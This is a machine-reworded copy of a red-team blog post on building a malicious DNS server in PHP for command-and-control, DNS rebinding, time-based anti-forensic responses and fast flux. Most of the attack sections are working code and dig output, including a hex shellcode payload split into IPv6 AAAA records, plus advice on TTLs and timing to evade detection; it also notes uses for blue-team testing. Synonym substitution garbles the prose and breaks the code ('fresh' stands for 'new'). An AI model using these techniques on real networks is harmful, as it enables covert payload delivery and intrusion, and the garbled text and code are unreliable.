DNS for red squad purposes

blog.redteam.pl 4 lat temu

Introduction

In the following blog post I would like to show a proof-of-concept for how red teamers can build DNS command & control (DNS C2, DNS C&C), execute DNS rebinding attack and make fast flux DNS. We will focus only on the DNS server part without building a complete working platform.

This approach can besides be utilized by blue teams for building DNS blackhole / DNS sinkhole. The BIND9 software allows blue teamers to make a DNS blackhole utilizing statically configured DNS RPZ (Response Policy Zones). nevertheless sometimes they might request to include any dynamic logic to interact with malware. For example simulation of communication with C2, erstwhile malware is verifying checksums on the fly utilizing DNS request and responses. Additionally defenders can besides test malicious DNS communication against IDS/IPS/firewall solutions implemented in their organisations.

Environment setup

I will be utilizing a simple DNS server written in PHP 7.2 [https://github.com/yswery/PHP-DNS-SERVER (v1.4.1)] and will present only applicable code fragments, to avoid making this blog post messy. The code is based on simple-ns [https://github.com/samuelwilliams/simple-ns]. Full code example for C2 communication utilizing IPv6 DNS records can be found on GitHub [https://github.com/adamziaja/dns-c2].

DNS server as C2

At the beginning I would like to implement my thought introduced in 1 of the erstwhile blog posts [https://blog.redteam.pl/2019/08/threat-hunting-dns-firewall.html] about bypassing DNS firewall utilizing payloads hidden in IPv6 records. This can be done with the following PHP code:

$str = bin2hex('redteam.pl eleet');
$aaaa = substr(chunk_split($str, 4, ':'), 0, -1);
var_dump($aaaa); // string(39) "7265:6474:6561:6d2e:706c:2065:6c65:6574"

Sample PHP DNS server code:

if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_AAAA === $query->getType()) {
$str = bin2hex('redteam.pl eleet');
$aaaa = substr(chunk_split($str, 4, ':'), 0, -1);
$answer = fresh ResourceRecord();
$answer->setName($query->getName());
$answer->setClass(ClassEnum::INTERNET);
$answer->setType(RecordTypeEnum::TYPE_AAAA);
$answer->setRdata($aaaa);
$answer->setTtl(3600);
$answers[] = $answer;
}

Response can be tested with a DNS query sent utilizing a command specified as:

$ dig @1.3.3.7 redteaming.redteam.pl AAAA +short
7265:6474:6561:6d2e:706c:2065:6c65:6574

In a common DNS configuration where we usage static region configuration we can’t add any dynamic logic. utilizing approach described in this blog post we can do it and make on the fly decisions about DNS responses.

A classical round-robin DNS returns a complete list of IP addresses in each consequence for burden balancing purposes. In our case we can implement a akin approach, nevertheless we will not return a complete list for each query but respond with only 1 IP address, different each time. specified approach can aid us (please note this is not a silver bullet) to hide in regular DNS traffic due to the fact that it will not trigger an alert related to large amount of data in a single DNS response, specified as a large number (10+) of records in round-robin response.

For example we can transfer a payload taken from 1 of my erstwhile blog posts [https://blog.redteam.pl/2019/04/dns-based-threat-hunting-and-doh.html]:

$ cat payload.txt
\xd9\xf7\xd9\x74\x24\xf4\x5a\xbf\x3e\x85\xd7\x8e\x2b
\xc9\xb1\x31\x31\x7a\x18\x03\x7a\x18\x83\xc2\x3a\x67
\x22\x72\xaa\xe5\xcd\x8b\x2a\x8a\x44\x6e\x1b\x8a\x33
\xfa\x0b\x3a\x37\xae\xa7\xb1\x15\x5b\x3c\xb7\xb1\x6c
\xf5\x72\xe4\x43\x06\x2e\xd4\xc2\x84\x2d\x09\x25\xb5
\xfd\x5c\x24\xf2\xe0\xad\x74\xab\x6f\x03\x69\xd8\x3a
\x98\x02\x92\xab\x98\xf7\x62\xcd\x89\xa9\xf9\x94\x09
\x4b\x2e\xad\x03\x53\x33\x88\xda\xe8\x87\x66\xdd\x38
\xd6\x87\x72\x05\xd7\x75\x8a\x41\xdf\x65\xf9\xbb\x1c
\x1b\xfa\x7f\x5f\xc7\x8f\x9b\xc7\x8c\x28\x40\xf6\x41
\xae\x03\xf4\x2e\xa4\x4c\x18\xb0\x69\xe7\x24\x39\x8c
\x28\xad\x79\xab\xec\xf6\xda\xd2\xb5\x52\x8c\xeb\xa6
\x3d\x71\x4e\xac\xd3\x66\xe3\xef\xb9\x79\x71\x8a\x8f
\x7a\x89\x95\xbf\x12\xb8\x1e\x50\x64\x45\xf5\x15\x9a
\x0f\x54\x3f\x33\xd6\x0c\x02\x5e\xe9\xfa\x40\x67\x6a
\x0f\x38\x9c\x72\x7a\x3d\xd8\x34\x96\x4f\x71\xd1\x98
\xfc\x72\xf0\xfa\x63\xe1\x98\xd2\x06\x81\x3b\x2b

We can send it in a IPv6 responses (AAAA records) utilizing the following example code:

if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_AAAA === $query->getType()) {
$answer = fresh ResourceRecord();
$answer->setName($query->getName());
$answer->setClass(ClassEnum::INTERNET);
$answer->setType(RecordTypeEnum::TYPE_AAAA);
$payload = 'payload.txt';
$lines = file($payload);
if (count($lines) > 0) {
$v = 47;
$x = str_replace('\x', '', trim($lines[0]));
if (strlen($x) < 26) {
$q = 26 - strlen($x);
$p = str_repeat('0', $q);
$x = $x . $p;
}
$y = date('md') . $v;
$z = $x . $y;
$aaaa = substr(chunk_split($z, 4, ':'), 0, -1);
array_shift($lines);
$file = join('', $lines);
file_put_contents($payload, $file);
} else {
$aaaa = 'dead:beef:dead:beef:dead:beef:dead:beef';
}
$answer->setRdata($aaaa);
$answer->setTtl(3600);
$answers[] = $answer;
}

Our payload will be extracted line by line from payload.txt file and put into consecutives DNS queries. After each DNS response, the line that has been sent in consequence is removed from the file. Before putting our payload into IPv6 records we request to encode it. At the beginning \x char is removed from the payload and if a line contains little than 26 characters it is padded utilizing 0’s. A date in a MMDD format and a 2 digit number will be appended to each string. These 2 digits may be utilized as identifiers for payload parts etc. erstwhile a complete payload has been transferred, DNS server will start to respond with a static IPv6 address (in our case deadbeef [https://en.wikipedia.org/wiki/Hexspeak]) – in a real attack script this IPv6 address should have a little conspicuous value, e.g. any trusted IPv6 address of Google.

If we will not query our DNS server straight then the TTL value should be changed to 1 or so, due to the fact that with TTL value 3600 DNS consequence will be stored in a DNS cache for 1 hr (3600 seconds). nevertheless in a real life scenario, where attacker is utilizing a DNS server configured inside an organisation, TTL can be set for example to 600 and each line of the payload will be collected all 10 minutes (600 seconds). Then our example 17 lines of payload will be transferred in little than 3 hours (17 * 10 = 170 minutes), to possibly avoid detection especially erstwhile TTL <10, as this is usually rather suspicious. Remember that this can be detected too, with a method called malware beaconing [https://www.first.org/resources/papers/conference2012/warfield-michael-slides.pdf]. nevertheless this can be a good solution for red squad if blue squad is not capable to execute specified queries like counting DNS request/responses in real time, for example due to large amount of data or deficiency of SIEM etc.

For example let’s take the first and last line (because it will have little characters than the another lines) to better explain the thought how this malicious transfer utilizing IPv6 records will work:

\xd9\xf7\xd9\x74\x24\xf4\x5a\xbf\x3e\x85\xd7\x8e\x2b
d9f7:d974:24f4:5abf:3e85:d78e:2b03:1647

\xfc\x72\xf0\xfa\x63\xe1\x98\xd2\x06\x81\x3b\x2b
fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647

Additionally to avoid easy detection it is crucial that all addresses are valid for IPv6 notation:

$ echo 'd9f7:d974:24f4:5abf:3e85:d78e:2b03:1647' | php -R 'echo filter_var($argn, FILTER_VALIDATE_IP, FILTER_F
LAG_IPV6).PHP_EOL;'
d9f7:d974:24f4:5abf:3e85:d78e:2b03:1647

$ echo 'fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647' | php -R 'echo filter_var($argn, FILTER_VALIDATE_IP, FILTER_F
LAG_IPV6).PHP_EOL;'
fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647

Now we can test if everything works as intended:

$ for i in $(seq 1 20);do dig @1.3.3.7 redteaming.redteam.pl AAAA +short | xargs sipcalc | grep ^Expanded | awk '{print $4}';done
d9f7:d974:24f4:5abf:3e85:d78e:2b03:1647
c9b1:3131:7a18:037a:1883:c23a:6703:1647
2272:aae5:cd8b:2a8a:446e:1b8a:3303:1647
fa0b:3a37:aea7:b115:5b3c:b7b1:6c03:1647
f572:e443:062e:d4c2:842d:0925:b503:1647
fd5c:24f2:e0ad:74ab:6f03:69d8:3a03:1647
9802:92ab:98f7:62cd:89a9:f994:0903:1647
4b2e:ad03:5333:88da:e887:66dd:3803:1647
d687:7205:d775:8a41:df65:f9bb:1c03:1647
1bfa:7f5f:c78f:9bc7:8c28:40f6:4103:1647
ae03:f42e:a44c:18b0:69e7:2439:8c03:1647
28ad:79ab:ecf6:dad2:b552:8ceb:a603:1647
3d71:4eac:d366:e3ef:b979:718a:8f03:1647
7a89:95bf:12b8:1e50:6445:f515:9a03:1647
0f54:3f33:d60c:025e:e9fa:4067:6a03:1647
0f38:9c72:7a3d:d834:964f:71d1:9803:1647
fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647
dead:beef:dead:beef:dead:beef:dead:beef
dead:beef:dead:beef:dead:beef:dead:beef
dead:beef:dead:beef:dead:beef:dead:beef

Our example payload has 17 lines:

$ wc -l payload.txt
17 payload.txt

Because of it last 3 DNS responses are generic, as our bash loop had 20 DNS requests. It demonstrates that it works as intended and after sending a payload the consequence became static, as predefined in the code.

DNS rebinding attack

Similar code can be utilized to execute a DNS rebinding attack [https://capec.mitre.org/data/definitions/275.html]:

if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_A === $query->getType()) {
$answer = fresh ResourceRecord();
$answer->setName($query->getName());
$answer->setClass(ClassEnum::INTERNET);
$answer->setType(RecordTypeEnum::TYPE_A);
$cfg = 'cfg.txt';
$lines = file($cfg);
if (count($lines) > 0) {
$a = explode(';', trim($lines[0]));
$answer->setRdata($a[0]);
$answer->setTtl($a[1]);
array_shift($lines);
$file = join('', $lines);
file_put_contents($cfg, $file);
} else {
$a = '1.3.3.7';
$answer->setRdata($a);
$answer->setTtl(5);
}
$answers[] = $answer;
}

$ cat cfg.txt
1.3.3.7;5
192.168.0.1;1
192.168.1.1;1
127.0.0.1;1

We store IP addresses and TTL values for each address in cfg.txt file and each line is utilized in a DNS response. At first we send DNS consequence with attacker’s IP address 1.3.3.7 and then attacked IP address with TTL set to one second. After that we keep responding with attacker IP address.

$ for i in $(seq 1 10);do dig @1.3.3.7 redteaming.redteam.pl A | egrep -v '^;|^$';done
redteaming.redteam.pl. 5 IN A 1.3.3.7
redteaming.redteam.pl. 1 IN A 192.168.0.1
redteaming.redteam.pl. 1 IN A 192.168.1.1
redteaming.redteam.pl. 1 IN A 127.0.0.1
redteaming.redteam.pl. 5 IN A 1.3.3.7
redteaming.redteam.pl. 5 IN A 1.3.3.7
redteaming.redteam.pl. 5 IN A 1.3.3.7
redteaming.redteam.pl. 5 IN A 1.3.3.7
redteaming.redteam.pl. 5 IN A 1.3.3.7
redteaming.redteam.pl. 5 IN A 1.3.3.7

This can be easy customized to fit an approach required in various kinds of attacks based on DNS rebinding.

Time based DNS response

Using dynamic logic in DNS responses, red teamers can deceive blue teams utilizing anti-forensic techniques as akin to this which I described in my erstwhile blog post [https://blog.redteam.pl/2020/01/deceiving-blue-teams-anti-forensic.html]. Malicious consequence can be limited to any short time period and if a query will be sent in different time period then consequence will be non-malicious. In this case if blue teamers don’t log (DNS) traffic or DNS queries they will gotta trust on a live analysis. These responses during live analysis can be different than malicious ones, previously sent to the victim. This is an another good reason to store network traffic, of course if you can afford it, or at least effort to log selected protocols.

Time based DNS consequence can be sent utilizing the code below (pay attention if your mark is not in the same time region as device where this code is executed):

if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_A === $query->getType()) {
$answer = fresh ResourceRecord();
$answer->setName($query->getName());
$answer->setClass(ClassEnum::INTERNET);
$answer->setType(RecordTypeEnum::TYPE_A);
if (4 == date('H')) {
$answer->setRdata('1.1.1.1');
} else {
$answer->setRdata('2.2.2.2');
}
$answer->setTtl(1800);
$answers[] = $answer;
}

Only if a query will be sent at 4 AM the malicious DNS consequence will be returned, this malicious consequence can contain the real IP address of C2 server, but if a query will be sent on a different hr then the answer will besides be different, like an IP address of any trusted resource. specified approach can be useful erstwhile our mark doesn't have 24/7 Security Operations Center (SOC) and the safety squad will execute analysis during work hours, assuming that they don't log all traffic or DNS queries for offline analysis and will request to execute live analysis (do DNS queries in time of doing analysis, not only to analyse stored logs or traffic).

Fast flux DNS

We can besides make fast flux DNS [https://attack.mitre.org/techniques/T1325/]:

if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_A === $query->getType()) {
$answer = fresh ResourceRecord();
$answer->setName($query->getName());
$answer->setClass(ClassEnum::INTERNET);
$answer->setType(RecordTypeEnum::TYPE_A);
$fastflux = [
'1.1.1.1',
'2.2.2.2',
'3.3.3.3',
'4.4.4.4',
'5.5.5.5',
'6.6.6.6',
'7.7.7.7',
'8.8.8.8',
'9.9.9.9',
'10.10.10.10',
'11.11.11.11',
'12.12.12.12',
'13.13.13.13',
'14.14.14.14',
'15.15.15.15'
];
$ff = array_rand($fastflux);
$answer->setRdata($fastflux[$ff]);
$answer->setTtl(rand(1, 5));
$answers[] = $answer;
}

For each DNS request we take a random value from an array of IPv4 addresses (A record) with random TTL value between 1 and 5 seconds, and return it in a DNS response:

$ for i in $(seq 1 15);do dig @1.3.3.7 redteaming.redteam.pl A | egrep -v '^;|^$';done
redteaming.redteam.pl. 2 IN A 9.9.9.9
redteaming.redteam.pl. 5 IN A 6.6.6.6
redteaming.redteam.pl. 2 IN A 5.5.5.5
redteaming.redteam.pl. 4 IN A 10.10.10.10
redteaming.redteam.pl. 4 IN A 5.5.5.5
redteaming.redteam.pl. 3 IN A 9.9.9.9
redteaming.redteam.pl. 1 IN A 11.11.11.11
redteaming.redteam.pl. 2 IN A 12.12.12.12
redteaming.redteam.pl. 5 IN A 10.10.10.10
redteaming.redteam.pl. 2 IN A 14.14.14.14
redteaming.redteam.pl. 2 IN A 6.6.6.6
redteaming.redteam.pl. 3 IN A 11.11.11.11
redteaming.redteam.pl. 5 IN A 14.14.14.14
redteaming.redteam.pl. 1 IN A 8.8.8.8
redteaming.redteam.pl. 4 IN A 15.15.15.15

If there will be a large amount of data then IP addresses in DNS consequence will be “more random”.

Summary

It is crucial to mention that we can do this for any domain, not only on the 1 which we control on a global DNS. In this case the DNS client, specified as malware, simply needs to send a direct query to our DNS server (in the examples above it is 1.3.3.7). In a direct DNS query an attacker can usage for example google.com or any another trusted domain. This is the reason why threat hunters should analyse not only DNS server logs but besides monitor traffic for i.a. direct DNS queries, as I explained in more details in a blog post about DNS threat hunting [https://blog.redteam.pl/2019/08/threat-hunting-dns-firewall.html]. I besides hope the following blog post will be useful for blue teamers, who can test their defensive tools ability to detect specified malicious DNS communications.
Idź do oryginalnego materiału